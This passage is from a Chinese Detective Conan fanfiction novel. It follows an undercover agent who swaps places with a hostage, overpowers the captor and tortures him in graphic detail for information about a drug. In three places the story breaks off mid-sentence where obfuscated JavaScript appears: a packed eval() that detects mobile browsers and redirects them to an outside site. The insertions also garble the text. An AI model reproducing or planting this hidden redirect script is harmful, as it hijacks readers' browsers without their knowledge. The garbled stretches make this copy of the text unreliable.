公安又注意到走出来的竹取无尘已经把蓝牙耳机摘下,面色更是沉了些许。 “滚开。”原田净三持枪的手更用力了一些,“你当我蠢啊?” “这里这么多警察,谁知道你是谁,我为什么又要放着一个孩子不挟持,去挟持你这么个成年人。” “不不不先生你误会了。”青年顺手摘下帽子和口罩,露出那张稍作伪装的脸,他笑了笑,稍微费力地单手脱下自己的大衣丢在一边,卷起了左边的衬衣袖子。 一大道显眼的疤痕盖过半只的左臂,左手无力地垂落在身边。 再感谢一下普拉米亚送来的道具。 既然这人的目的是想逃跑,工藤新一和工藤优作这种具有一定影响力和势力的人就不会是他的最优选———万一惹上了工藤优作,跑了之后又被一堆人追着杀怎么办。 “你挟持的这孩子是工藤优作的儿子,一旦你把他带出去,带来的影响可不小吧,你这是在给你自己找麻烦。” “我…”工藤新一蹙了蹙眉,要说出口的话再一次被竹取无尘给打断。 “你也看到了,我左手肌腱被割断了,动不了,只是个没背景的残废而已,不是警察,而且现在的国中生都身强体壮的,你不如选择我们这种天天熬夜拼命的成年人。” “你觉得呢?” 青年眯眼笑着看着对面的人。 “是吗?”原田净三冷笑一声,“你倒是提醒我了。” “来个警察把这个大善人铐起来,反铐,钥匙放我这里。” 男人朝着周围的人大喊道。 “快点,不然我就开枪了。” 竹取无尘左右环视了一圈,没人应答,只能接着说:“照他说的做吧,警官们。” 风见裕也看了一眼上司,同样在警方的蓝牙耳机中说道:“照他说的做。” 身边的警察无计可施,只得拉过竹取无尘的双手反铐在身后,将钥匙扔给了持枪的原田净三,眼睁睁看着人一步步走向枪口之下。 “转过去。” 竹取无尘转身,枪口从侦探的太阳穴移开,转而抵上他的后脑。青年微微侧过头,向身旁重获自由的侦探投去一道安抚的眼神。 “走,车就在外面。”原田净三用枪口顶了顶,示意被铐住的人在前面开路。 竹取无尘依言迈步,按照指示坐进了副驾驶座。在众人注视之下,车辆猛地发动,扬长而去。 降谷零看着手机的通讯,转身出了发布厅。 【手机通讯】C:等我联系你们。 【手机通讯】C:这人我得带回组织。 【手机通讯】C:琴酒要活口。 132 “警部,如果有什么需要我们会全力配合。” 整个发布会现场在原田净三挟持竹取无尘离去之后恢复了秩序,工藤优作站在场内负责主要工作的警部面前,说道:“不介意的话我们可以帮忙找出来原田净三去了哪里,那位先生……” “那个人是我们的公安,工藤先生。”警部摇了摇头,“我也是刚刚得到的消息,我们内部正在跟踪了。” “可是他的手……”工藤新一在一边思量着,那个疤痕明明不似作假。 “抱歉,这个我们同样不清楚。” 男人看到了一边前来汇报的下属,先行地先暂停了对话,下属的报告让他一愣,随即又再次对面前的工藤父子二人致歉道:“真的很抱歉,现在这件事现在不由我们警视厅负责了。” “工藤先生,警察厅公安部那边可能需要您去帮一下忙。” 133 把人带回公安———是不可能的。 公安那些软绵绵的手段,怕是还没等人说出几个有用的字,人就已经被灭口了。 竹取无尘坐在犯罪嫌疑人的车辆副驾驶上,由于双手被反铐,这个姿势总是硌得他有些难受。 而且。 他瞥了一眼现在踩死了油门,单手把着方向盘,另外一只手举枪对着他,还非要一路狂飙的原田净三。 竹取无尘:………… 很危险的吧,这人绝对是在危险驾驶吧。 救命。 有没有能人给他系一下安全带。 这人文关怀也太差了。 48.第 48 章 134 公安没有敢明目张胆跟着原田净三,但是原田净三很明显同样不是什么简单的角色,硬是七拐八绕几乎把所有隐藏在后方跟着的人全部甩了个干净,中途还抓着他下来换了辆车接着开。 竹取无尘想着琴酒发布的任务,眉尾轻挑。 琴酒很明显就是和美国的科西嘉财团有仇,不管是之前和虐杀无疑的审讯,还是直接冲向他的杀意,都直接摆明了这一点。 而现在,琴酒要这个人的活口。 所以原田净三很有可能和美国科西嘉财团有关系。 而琴酒莫名其妙让他杀了一个代号成员,把他扯到了『琴酒』的立场。 那么问题就来了。 这个任务是组织的任务,还是琴酒这个人的任务? 其实竹取无尘倾向于后者,但是还不是很确定,不过没关系,等他抓着机会问一下就清楚了。 原田净三确定了一边的人毫无反抗能力,明目张胆地放下枪,拨通了电话:“喂,看到了吗?我们的药怎么样?” “很有发展前景吧。” “我在哪?” 那人嗤笑一声,甚至没有看一眼一边正在盯着他的竹取无尘。 “有个大善人自愿跑来当人质,我先去把他解决了,再过去找你们。” “条子?那帮废物看到我戴着炸弹,吓得半死,刚刚还试着跟踪我,现在全被我甩了。” “好,知道了。” 男人挂断电话,顺手把设备丢到了一边,接着一路往不知道是什么地方的偏远地带驶去。 “你要灭口吗?”竹取无尘看着这人有恃无恐的状态,又调整了一下姿势,手臂被自己压得有些发麻。 “哟,大善人害怕了?”原田净三嘲讽着,“放心,不会给你一个全尸的。” “那还真遗憾。”他叹了口气,窗外的天越发暗了下来。 直言不讳地给人质说要灭口啊这人。 车辆停在了郊区废弃烂尾楼下,坐在驾驶座的人拿出枪走下车,拉开了另一侧的车门,枪械抵住了人质的脑袋。 “下车,送你上路。” “………”竹取无尘睨了一眼还在大放厥词的人,一言不发地下了车,枪口在身后,逼着他往烂尾楼楼上走去。 他需要活口———不止是琴酒需要,他也需要。 这个炸弹就很棘手了。 二人一前一后地直接走上了18层顶楼,原田净三才终于发话:“站着,别动了。” 烂尾楼四周都没有安装窗户,二月初的风从空洞的窗框吹进,稍微刺痛着人的皮肤,裸露在外的钢筋偶尔发出咯吱的声响。 青年早就已经走到了死角,他脚步一停,转身看见男人举着枪,已经开始卡着秒拆卸脖子上的炸弹。 “你好歹别让我这个大善人和你死一块吧。”他盯着男人拆卸炸弹的动作,身后的手微微一动。 “谁要和你死一块。”原田净三冷笑一声,伸手扯开了面前人的两颗衬衣扣子,随即以近乎粗暴的速度,将另一只心跳频率监视仪的感应端紧紧贴在了对方裸露的胸口皮肤上。 “反正这只炸弹只用链接一个人的心跳就行了。”男人顺手把自己脖子上的炸弹扯下来,“咔”一声扣死在了竹取无尘的脖颈上,“大善人,你好人做到底,替我去死一下吧。” 竹取无尘被硌得微微抬头,又垂眼看了一眼自己脖子上这个和之前降谷零那个构造完全不同的炸弹,突然笑了一声。 原田净三已经持枪往后退,听到这人莫名带着挑衅的笑声,带着怒意道:“你笑什么?” “我啊。”青年又抬眼盯着原田净三已经空了的颈侧,他还以为这人能想出什么精明的招数。 这人的倚仗没了,那他就要放心动手了。 “我在笑什么呢?” 竹取无尘在对方的目光中,冲着枪口向前走了两步。 “可能是因为。” 手铐完好地掉在了地上,男人睁大了眼睛,正要开枪,青年却猛地侧身朝着对面人持枪的手飞踢而去。 “你————” 手腕直接被踢折,枪械飞了出去,剧痛传来,原田净三甚至来不及喊出下一段话,只能惊愕地看着竹取无尘又一拳朝自己击来———用的甚至是那只已经残废的左手。 “嘭!” 这一拳用了十成十的力道,那人应声砸在地上发出闷响,竹取无尘瞥了一眼地上的人,甩了甩手,朝着地上挡路的人猛踹一脚,又嗤笑了一声。 “可能是因为我生性爱笑吧。” 这人一路上吵死了。 青年扣好了刚刚被扯开的衬衣扣子,环视了一整圈,不得不说,这个烂尾楼顶楼确实是个适合引爆炸弹的地方。 但是现在炸弹在他的脖子上,那就不太适合了。 毕竟洛洛溪不能过来把他东一块西一块的捡回去。 他把原田净三顺手完好的那只手铐在了一侧裸露的钢筋上,摸出手铐钥匙,转身下楼,撬开原田净三的车门,拿回了自己的手机。 刚刚这人还怕他偷偷联系警方,把他的手机摸出来丢后面了。 【手机通讯】prosecco:一会给你带过去。 【手机通讯】Gin:一会? 【手机通讯】prosecco:这人给我脖子上装了个炸弹,现在过去也行,我也很乐意让你和我一起被炸上天。 【手机通讯】Gin:你和炸弹还真是有缘。 【手机通讯】Gin:把人带去2号据点,你要死死远点。 【手机通讯】prosecco:你在做什么美梦。 竹取无尘满意地关闭了和琴酒的通讯界面。 那么现在就是…… “喂,降谷。”青年瞄到了后座一堆药物里的肌肉松弛剂,勾了勾嘴角,顺手拿在了手里,“原田净三已经控制住了,没事了。” “啊…抱歉,人我得带回组织。” 公安在这种事上很有可能只会起到反作用。 更何况还是和美国有关的事情。 “我已经给琴酒说了。”竹取无尘走下车,车门被人顺手关上,“不过……” “这个人所有的口供,我会统一给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但也因为精神画布是受到了能量场的影响,他在那个世界根本就想不起来一点东西。 来到了这个没有异能能量场的世界后,他的情况才慢慢转好———被盖住的原画布开始陆陆续续沙漏一样漏下来了不少东西,但是都太过于零碎,他还是拼不起来他的过去。 其实洛洛溪应该会知道之前大致发生了什么,但是他讨厌从别人口中了解自己。 别人口中的他不是他自己。 更何况那孩子眼里自己可能是一个温柔到不行的真·大善人。 所以他不去问,也不想听。 【自我】这种东西是精神系能力者的根基。 所以他才会说没关系,丢掉了记忆没关系,叫什么名字没关系,长什么样子没关系,他就是他,这就够了。 但是偶尔也有些问题一直让他有些不解。 比如当时自己脑子里为什么会有一块新的画布———甚至是那块画布帮自己挡了一劫,不然他真的要死在那里了。 脑子里有两块精神画布,真是笑死,听起来像变异了。 还有一个问题,最重要的一个问题。 他是谁? 他又是谁? 不过…… 青年看着已经幽幽转醒的原田净三,挑了下眉,把已经神游到上个世界不知道哪个角落的思绪收回。 算了,都不重要,现在这个人才最重要。 49.第 49 章 135 “你…”男人靠坐在烂尾楼中间的柱子边,他看着刚刚在枪口下顺从得不行的人正坐在窗框上冰凉地看着他,而他自己则基本使不上什么力,“你到底……” “我什么?”竹取无尘从窗框上跳下,带起一阵灰尘,略带虚假地笑眯着眼,“我不就是一个普通的大善人吗?” 适当的示弱有时候是一个很好的办法。 他还挺喜欢这么玩的。 虽然看起来他像有那个什么奇怪的癖好。 “不…不对,你是哪边的人?”原田净三那只铐着手铐的手不停地挣扎着,金属手铐敲在钢管上发出叮铃咣啷的声音。 “嘘。”青年的手指摆在了唇边,做出了一个示意对面噤声的动作,温声道,“你很吵,所以麻烦你安静一点,一会你也能少吃点苦。” “现在,大善人想问你几个问题。” “公安快来了,我们速战速决,怎么样?” 琴酒不会让他知道这个人的情报的。 所以他要自己动手了。 老本行啊。 原田净三看着朝他走近的人影,那人手臂上的疤痕在月光下显得更加狰狞,哪还能不知道面前的人想干什么。 “呵。” 他突然扯了一下嘴角,努力用着被打了肌肉松弛剂的双腿一个劲地往后靠:“我什么都不会说的。” “之前每一个落在我手里的人都用这个当开场白。”青年半蹲了下来,拉起地上男人没有被铐住的另外一只手———由于这只手被他打了过量的松弛剂,现在是完全动不了了。 “但是他们最后都把情报吐干净了。” “我们从这只手开始吧,怎么样?”他看着原田净三正在试图用力抽出手,不过全部力气都化作了无用功。 其实原本不用整得这么难看的,他可以用异能直接听完解决掉这件事,不过谁让这人给他脖子上装了炸弹。 要是他没控制好,精神力使用过量晕了过去导致心跳频率下滑,炸弹炸了怎么办? 大家东一筷西一筷的办? 所以是原田净三活该,他没有存在着报复的心态。 嗯,没有。 竹取无尘又把那人的手扯过来了一点,连带着人也往这边了些,他歪了歪头,说道:“或者,我们也可以从一个简单的问题开始。” “你刚刚在和谁打电话,原田先生?” “你觉得——啊啊啊————” 撕心裂肺的惨叫在随着手被扭向了一个完全不正常的角度后突然响起,甚至那只手还是被问话的人踢折再复位再掰折的。 “我觉得什么?”青年眯眼笑着,“我觉得这是一个最痛的角度,你觉得呢?” “你他妈———啊啊啊啊啊啊!!!” 竹取无尘直接顺着那只被掰折的手往上,那只手连着的食指被人“咔哒”一声扭成了三节,又被“咔哒”一下按回了原位,仿佛无事发生一样。 “老老实实回答问题,说脏话不是好习惯,先生。”他看着一边的人,声线中没什么感情,“下一句话我不要听到你再用『你』这个字开头。” “你在和谁打电话?” “…………” 原田净三额间爆出密密麻麻的冷汗,正死死地瞪着他。 “唉。”竹取无尘叹着气换了一个姿势。“早点说了对我们都好。” “你知道成年人皮肤的拉伸极限约为原长度的15%-20%吗?” “或者说……你知道我不是很喜欢你这双棕黄色的眼睛吗?” “你要干什么……滚开……你……” 男人眼看着那人带着手套的手冲着自己眼睛伸了过来,他试图疯狂摇头躲开,却被那人一把按住脖颈止住了动作,视线不少被遮挡,手指已经在眼眶周边微微用力。 原田净三近乎崩溃,明明动作不大,手上传来的痛感钻心一样让人保持着清醒,眼眶周边被用力往下按压带来的胀痛彻底击垮了心理防线,他嘶吼道:“玛克!!是玛克!!!” “我只知道他在那个组织的代号是玛克!!” 【玛克白兰地。】 酒名。 和心声对得上,这人说的是真话。 竹取无尘动作一停,眼中染上了笑意,这种连他都会觉得难受的办法,没有被训练过的人肯定受不了。 “那你联系他干什么呢?”青年没有接着下一步折磨人的行为,他收回手,突然一下带着温和道,“你好好说,我就帮你把手复位,让你休息一下,好不好?” “很痛吧,我也知道。”他又捏起那只已经被扭得不成样子的手腕,看着面前喘着粗气的人,“我们也别弄得太难看,我讨厌到处都是血的场面。” 所以他才会说琴酒那天弄得也太难看了。 “你———” “嗯?”竹取无尘歪了歪头,打断了话语,“我刚刚说了什么你又忘了?” 男人看着对面的人,喘着气,没有接话。 “不过没关系,我们还有一点时间。”他好心地帮着地上的人把手腕“咔吧”一声复原,起身站在了一边,“接下来十分钟里面你可以好好休息一下,十分钟之后,你的眼睛、你的手、你的随机一个部位会发生什么,我就不敢确定了。” “为了一个不认识的人,几个莫名其妙的组织,把自己弄成这样,不值得,先生。” “好好想一下吧,不然还要再来一轮。”青年在又靠回了窗框,月光有一大半撒在单薄的衬衣上,“我也不太爱干这个活啊。” “你是因为想活着才戴炸弹的,你要是说了,我就不会下死手。” “好吗?” “………………” 原田净三僵硬地眨了眨眼,眼睛还安安稳稳地待在原位,面前的人确实没有下死手。 但是他确定他要是不说,这人可能会真的下死手。 “玛克……想和我们交易。”男人突然想珍惜一下来之不易的、短暂的舒适,他吸了一口气,接着道,“原本我们是直接和代基里直接沟通,然后那个人突然失联了。” 青年微微颔首。 难怪琴酒让他杀了那个人,合着是因为那个人和美国财团有联系啊。 “他要我们的药。” “而正好,我们也要……处理掉井上顺阳这个叛徒……所以借用这次机会给展示一下药效。” 竹取无尘:“因为你们早就想把这个药流通进这个国家的市场,但是这个国家的整个地下药物流通市场都被玛克所在组织垄断了,是吗?” 青年又跳坐回了窗框上,身后依旧没有任何防护栏,一旦失去平衡,就是从十八层的高楼坠楼而下。 “你知道?”原田净三猛地抬头,“你是他们的人。” “你的目的是找你们组织的叛徒?” 竹取无尘的嘴角上扬得越发明显了:“对啊,我的目的就是抓老鼠。” “毕竟你们财团貌似把我们组织坑得够惨啊。” 坑得好。 “之前那些不关我的事!”男人提了一下音量,“我只是负责给井上顺阳注射药物而已……之前那些……那些……” 精神力值降低至40% 【那些是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636757|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了处理掉这个国家里可能泄露那个药物机密的人和事。】 【要保证那个药只能被掌控在我们集团自己人的手里。】 原田净三没有接着说话,但是泄露的心声却已经让站在对侧的人整理清楚了一切。 普拉米亚并不是被授意来给组织找麻烦的,她是被雇佣来清除掉所有和那个药相关的人和事。 而他竹取无尘并不清楚这些乱七八糟的事情,那次任务的炸弹不是冲他来的———是冲琴酒去的。 琴酒知道那个药是怎么回事。 代基里泄露了那次任务的消息,美国那边找到机会要杀了琴酒,又因为琴酒怀疑他,要他去替琴酒动手,结果就是他遇到了那枚炸弹。 行动出现了很大的交叉。 琴酒又放出来了组织接近井上顺阳的消息,原田净三果然就跟着上钩了。 组织里显然已经有派别出现了和美国科西嘉财团合作的意向,甚至于说连乌丸莲耶本人也开始犹豫是否要试水了。 但是琴酒不乐意,琴酒要破坏合作。 而且他还帮了琴酒一大把,他让普拉米亚去炸了朗姆的基地,这无疑是在告诉组织———美国科西嘉财团可能不想和组织合作。 所以现在和美国科西嘉财团合作的人还目前都是叛徒,两个涉黑集团并没有得到有效的很好的沟通。 这个任务是琴酒发布的。 他要去找琴酒拿工资。 “既然你是他们的人,我想我们可以聊一聊。”男人也许是觉得自己找到了盟友,冷静了许多。“之前那些事是我们思虑不周。” “结果就是我们也没有除掉想除掉的东西,你们也受到了不小的影响。” “堵不如疏。” “贵组织的药我们也听说过。” “毕竟我们还是以利益为重,对吧?你们之前的损失我们都好谈,都可以补偿,这样你们也不用大费周章去调查我们的药了。” “没有永远的敌人。” “你脖子上的炸弹过两天我能找人帮你拆下来,或者我们直接去外面找个人塞出去就行了。” “我们合作吧。” “噢?”竹取无尘看着面前觉得自己有救了的男人,冷笑道,“那你还真是找对人了啊。” 作为警视厅的竹取警部,他不可能允许这种事情发生。 作为琴酒派别的珀洛塞可,他不可能允许这种事情发生。 作为他本人———他脖子上还戴着炸弹,这人就敢和他讲合作? “不过合不合作不是我能决定的事情,一会我会带你去见能决定这件事的人。” 一会带去见琴酒。 那个人下手可比他难看多了。 “而现在,最后一件事情。”竹取无尘从西裤口袋里摸出折叠刀,径直对准了原田净三的眼睛,“不说的话,你可就没有商量合作的机会了。” “你给井上顺阳打了什么东西?” 刀刃在月光下折射出冷白的光,照应在了对方的脸上,男人彻底没了刚才的慌张,冷冷道:“告诉你个名字倒是也没关系。” “banana fish。” ————banana fi■■ 【出现强烈感知改变】 【体感以及视觉改变】 【出现自伤性行为】 【强化焦虑状态】 【C57小鼠全部死亡】 L/S/D? 原来是这个。 竹取无尘收回了刀刃,想到了那天晚上他抢回来的那份药物报告。 原来是这个。 50.第 50 章 136 当降谷零带着爆/炸/物处理班的成员赶到的时候,也只看到了竹取无尘一个人带着炸弹坐在窗框上。 “哦呀。”青年抬头看着那一帮穿着防爆服进来的人,欠身微微示意,“抱歉,真是给你们添麻烦了。” “原田净三阴了我一下,然后自己跑了,抱歉。”他瞄了一眼站在最外侧的降谷零,接着道,“我会提供所有能提供的线索,把他找到的。” “没事的。”萩原研二小心翼翼地扯开那人的衬衣领子,把模拟心脏跳动的仪器缓缓贴在了那枚传感器上,带着传感器摘了下来,“你也是为了解救人质。” “新年那个月亮摆件我们收到了,很漂亮。” 竹取无尘弯了弯眉眼:“不客气。” “不过我也没想到这才过了两个月,就又有这种戴在脖子上的炸弹了。”松田阵平把那枚卡在脖子上的炸弹剪掉了关键线路,稳稳拿了下来,看了一眼和上次又长得不一样的同一个人。 “你也够倒霉的,上次见到你你直接晕了过去,这次见到你又是戴着炸弹见面的。” “其实我也是这么觉得的。”竹取无尘站了起来,刚刚他为了方便拆弹人员操作,直接盘腿坐到了地上。 “希望下一次见到你,是在一个安安稳稳的好地方。”他冲着一边的人笑了一下,“谢谢你上次送我去医院,松田警官。” 他终于知道这个警官叫什么名字了。 “你也太见外……” “唉唉唉小阵平,我们先去把这个东西处理了。”萩原研二看着在一边明显有什么话想说的好友,直接拉着幼驯染去了一边,朝着降谷零使了个眼色,“那你们两个先聊。” 金发公安心领神会地丢去一个眼神,整个十八楼在炸弹取下来之后已然清空,他等着竹取无尘同样朝着门口走来,两个人并肩往下走着,顺路核对着情报。 “工藤优作那边没有问题,确实是上级为了压住舆论请回来吸引注意力的,有问题的是为什么井上顺阳会爆出这么多传言。”公安想着他在警察厅获取的信息,“我会去查那些传言的来路。” “辛苦了。”竹取无尘拢了拢被同事送过来的外套,这一晚上只穿着一件衬衣确实很冷,“不过可以确定的是这件事不像是原田净三所属的财团做出来的,他们不会想让这么多人知道那个消息。” “我会往别的方向再查查。”降谷零听到了那个名字,挑了挑眉,直接问道,“原田净三跑了?” “没有。”青年摇摇头,“被我打晕塞在后备箱里了。” “稍微等我一下吧,等我把这个人拿去琴酒那里转一圈,后面我找机会把他弄出来,你们再把人带走。” 黑暗里,他转头看向同事的侧脸,那人没有看向他,只是低头朝着楼梯下方走去。 “好。”脚步声在空荡的楼层里回响,公安接着问道,“他都说什么了?” ”这个是口供录音。”竹取无尘又从自己的口袋里拿出来了另外一只录音笔,“稍微用了一点点违规手段,不过放心,人没有残,我把他复原了。” 公安这次接过了东西,听到这个承认逼供的话语,侧目看了一眼已经转回头的竹取无尘,带着一丝笑意:“我怎么觉得你承认你是特工之后直接就不装了?” “你说我要信任你的,警官。”他同样带着笑意回应,但是笑意在想到刚刚那人的口供时,又渐渐淡了下来,“而且这种东西又不能作为真的证据使用。” 只是让好同事听一下发生了什么而已。 “他们给井上顺阳打的东西,就是我们之前拿回来的那份药物报告涉及到的药品。”竹取无尘在底层大门口站定,“口供里他只提了名字。” “他说叫banana fish。” “我觉得是精神类药物。” 那枚精神钉和banana fish脱不了关系。 送走了一个THK,又来了个新的是吧? “就是我们上次看到的那个疑似L/S/D的东西?”降谷零的眉头又皱了起来,“难怪井上顺阳的状态……” “尸检还没有出结果,我会让警察厅内部加强保密。”公安同样站定在一侧,看到了另外两个好友已经处理好了东西,正在一边等着他。 “我会去组织里面试探一下这个药的具体情况,琴酒肯定知道点什么。”黑发青年想到了那个杀手一天天苦大仇深的样子,看了一眼同事,“这个东西可和美国有关,甚至和FBI有关。” “你们真的搞得定吗?” 这件事情真的还能在日本公安的管辖范畴内吗? 降谷零没有回话,他在和竹取无尘思考着同一件事。 月晕让黑夜更加荒凉。 公安沉默半晌,最终说出了这么一句话。 “先查。” 竹取无尘垂眸,已经有不少沙砾沾染在了自己的靴面和裤腿上,声线听不出太多的感情:“知道得太多是会被灭口的。” 会被自己人灭口的。 降谷零又看向了一边,松田阵平被萩原研二一把揽在了怀里,两个人不知道在吵吵闹闹地说些什么。 考上警校的那一天他们就都已经有准备了。 “那也得查。”公安蓝灰色的眸子望向竹取无尘的黑瞳,“不管是谁,都不能影响到公众的利益。” 青年听着这人认真的话语,点了点头。 他知道降谷零是什么意思。 “我要把原田净三带走了,”竹取无尘对着同事笑了一下,“不然琴酒又要拿枪指着我了。” “好。”降谷零又看了一眼准备离开的人,“不过你怎么突然换了个发型?” “这个啊。”青年顺手捋了一把后脑那短短的马尾,“头发太长了,有点挡眼睛。” “挺好看的。” 竹取无尘弯了弯嘴角:“谢谢。” 他目送降谷零和另外好几位警官离开,自己则坐上了原田净三的车,一路开着去了2号据点。 137 【手机通讯】prosecco:我到了,直接把人丢进去还是? 【手机通讯】Gin:在处理老鼠,不准进来。 在处理……老鼠? 竹取无尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639952|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眉心不自觉跳了一下。 如果是处理琴酒本人的仇人,上次他都已经见识过了,没必要不让他进去。 那现在不让他进去的话,处理的是什么叛徒? 只能是组织的叛徒。 那他就得进去看一眼了。 他走下车,打开后备箱往里面躺着的人身上又打了一针麻醉,确保这人不会在他任务进程中醒过来,然后转身走进了那间许久没有去过的酒吧。 珀洛塞可一推开门,血腥味金属味混着一堆乱七八糟躁动的情绪刺激着感知,让人不由自主地感到了反胃。 金属味,IN004。 青年瞳孔微缩,环视了这一圈犯罪份子,正要把门关上准备退出去,却被人一把拉了回去。 “珀洛塞可,来都来了,哪里有现在跑的道理。”宾加转着酒杯坐在一旁,目光笑着在地上那个血淋淋的人和珀洛塞可之间打量,“还是说你和这个记者是一伙的,要出去通风报信?” “什么记者?”珀洛塞可开始假装不适地捂了捂嗓子,僵硬地动了下头,“管你什么记者,我又不是叛徒,再在这里呆着我又要痛唔———” 琴酒刚刚看见刚刚发消息的人完全不按照指示地走了进来,径走到那人身后,猛地捂过珀洛塞可的嘴,顺势把SPL001往那人嘴里一塞。 绿色药丸滑进喉咙,带起了一阵呛咳。 “你……咳咳……咳咳咳………”青年一下推开了杀手那只戴着皮革手套的手,又揉了一下被哽到难受的喉咙口,转身看着在室内也依旧带着帽子的人,“你真想噎死我啊。” 很好啊,原本都吃了解药还被塞了一口毒药,还好解药是终身有效的。 “嗤。”琴酒瞥了一眼对方,抬抬下巴示意着地上的叛徒,“不吃的话你就和他躺一块去。” 珀洛塞可:“那我谢谢您对下属的关心,大人。” “你们两个真的是主仆情深。”一边扎着玉米辫的男人嫌恶地看完了全程,“Gin,你还真是收了条好狗。” 毕竟现在组织里谁不知道珀洛塞可被雇佣兵盯上了还故意往朗姆的基地跑,明显就是被琴酒授意去找朗姆麻烦的。 黑发青年闻言,黑瞳淡淡地扫了一眼说话的人,眯了眯眼:“狗骂谁呢?” “狗骂你啊,还能骂谁。”男人嗤笑一声,随即又反应了过来,“等等,你……” “是啊,狗骂我呢。”珀洛塞可真心实意地对着对面扬起了嘴角,“骂得好。” “切。” “算你说话厉害又能怎样,珀洛塞可。”宾加没有再继续这个话题,“你主人可是出了个大差错啊。” “我看你琴酒这个执行组负责人也是干到头了。” “一个记者都能在你手下混这么久,拿到了这么多东西。” “闭嘴宾加。”琴酒已经快把怀里的枪械掏出来了,“朗姆的屁股都没擦干净,什么时候有你说话的资格了。” 珀洛塞可闻言,再一次把视线放在了那个已经奄奄一息的、曾经有过一面之缘的男人身上,皱了皱眉道:“不过你们说艾尔是记者?” 51.第 51 章 这人是他很久之前那次任务里见过的那个程序员。 “卧底记者,多么了不起的人物。”另外一个站在一侧的棕发男性把一沓沾着血的证据丢在一边,顺势蹲下,抓起了地上人的头发,在那人耳边说着,“是吧,记者先生,调查了这么久的药物在自己体内生效的感觉不好受吧。” 代号为艾尔的卧底早就已经因为疼痛几乎晕厥,喉咙里依旧嘟囔着一些不明不白的字符,很明显这帮人甚至没有给人注射那只用于催眠的AMS008。 “肯定很痛。”宾加在一边接话,话音里满是嘲弄和戏谑,“毕竟一闻到那个药引就已经痛得快撞墙了,就这样还敢来卧底呢哈哈哈哈哈。” “他都调查什么药了,让你们这么恨他?”青年轻飘飘看了一眼,拿起一旁的酒水压了一口胸口间快涨出的不适感。 “你们这帮人吃的东西啊。”男人随口答着话,又抬眼盯了一会在漫不经心喝着酒的人,“你是珀洛塞可?” “我是。”珀洛塞可把那杯威士忌放回吧台上,“怎么了,这里还有我的问题?” “我可不敢对琴酒大人手下的人这么说话。”棕发男人阴阳怪气道,“我是想说,你今天去的新闻发布会,挺热闹的吧。” “就是这小子放出来的传言,引出来了一大堆记者,他还以为这样就能提醒所有人,就能把消息传出去,就能把这堆药物昭告天下了,真是天真。” “结果偷鸡不成蚀把米,有人查到了传言的源头,反告了你一状啊,小子。”男人说着话,又一脚踩上了地上的人的脚踝,发出一声令人牙酸的脆响,脚踝朝着不正常的角度扭了过去,而施暴者却仍在缓慢地加重着力道。 “听说你今天原本想亲自去现场来着?怎么,想亲手找到那只药,然后直接上台发言?你把新闻发布会当成给你开的了?” 惨叫声带着嘶哑响起,一边吧台上靠坐着的几个人却只是欣赏性地观看着这一幕。 “难怪今天的发布会有这么多人。”青年颔首,垂眼看着桌面上折射着光的酒水。 难怪会有这么多人。 是他提醒的他。 要是没有这么多人,他不会这么快意识到那场发布会有不对劲的地方。 消息传出来了,消息传到了他的手上,他们也阻止了井上顺阳去杀害更多的无辜者。 “所以这人是你抓的?”珀洛塞可看向了那个棕发男人。 “当然。”男人堪称猖狂地咧起了嘴角,“自我介绍一下,我是玛克白兰地,真是很抱歉给琴酒大人找了这么大一个麻烦。” 青年的眼神微不可查地一凛。 “可是谁让琴酒大人这么废物,自己手下的主力成员查不出来不说,还给了这个人不少美国那边相关的任务资料,两头药物信息通吃啊!” “砰!” 一边的杀手直接拿出了伯\莱\塔,擦着玛克白兰地的耳边打了过去,冷声道:“想死你就接着说。” “呵。”玛克白兰地伸手蹭开了耳边的血迹,“现在您是总负责人,我听您的,不过接下来,您可就要做好被拽下来的准备了,大人。” “美国那边的集团想干扰我们组织的交易,你这是想为他们那边说话?”珀洛塞可同样冷下了声线,他现在还得保证琴酒好好坐在这个位置上,不然他上哪里找好队友去。 “你想当叛徒?” “叛徒?”玛克白兰地走近了吧台,珀洛塞可趁机让开了些许,靠近了那份被丢在一旁的证据。 “或许我之前可能是叛徒吧,但是Gin,你要不要听听那位大人现在是怎么说的。” “你可真是出了个大差错啊。” 男人笑着拿出了通讯设施,直接播出了那个电话。 半晌的忙音后,电话接通,那边传来了滋滋呜呜的电流声,随即一个明显变过声的声音响起。 “Gin。” 一直坐在吧台边的杀手突然猛地站起,冷绿的眸子在看向玛克白兰地的时候带着了切实的杀意:“是,Boss。” 珀洛塞可同样在电话接通后蹙眉看向了琴酒。 这人为什么面对乌丸莲耶是………这么浓重的恨意和杀意。 那恨意绝对不是冲向玛克白兰地的,因为被放大的心声早就出卖了琴酒本人。 琴酒和乌丸莲耶有仇啊。 “我们和科西嘉财团也差不多该重新合作了。” “顺利完成这项任务,就能弥补你在THK药物资料泄露的过失。” “玛克白兰地在代基里死亡后一直在和那边接触,但是他把所有的资料提交给了我,现在由我授意他和你一起做这个任务。” 这无疑是在削弱琴酒的权限了。 珀洛塞可顺手拿起了那份证据,看向玛克白兰地越发猖狂的笑容,而后是杀手更加冷的声线。 “好的,boss。” 这人的忠诚又有几分是真的。 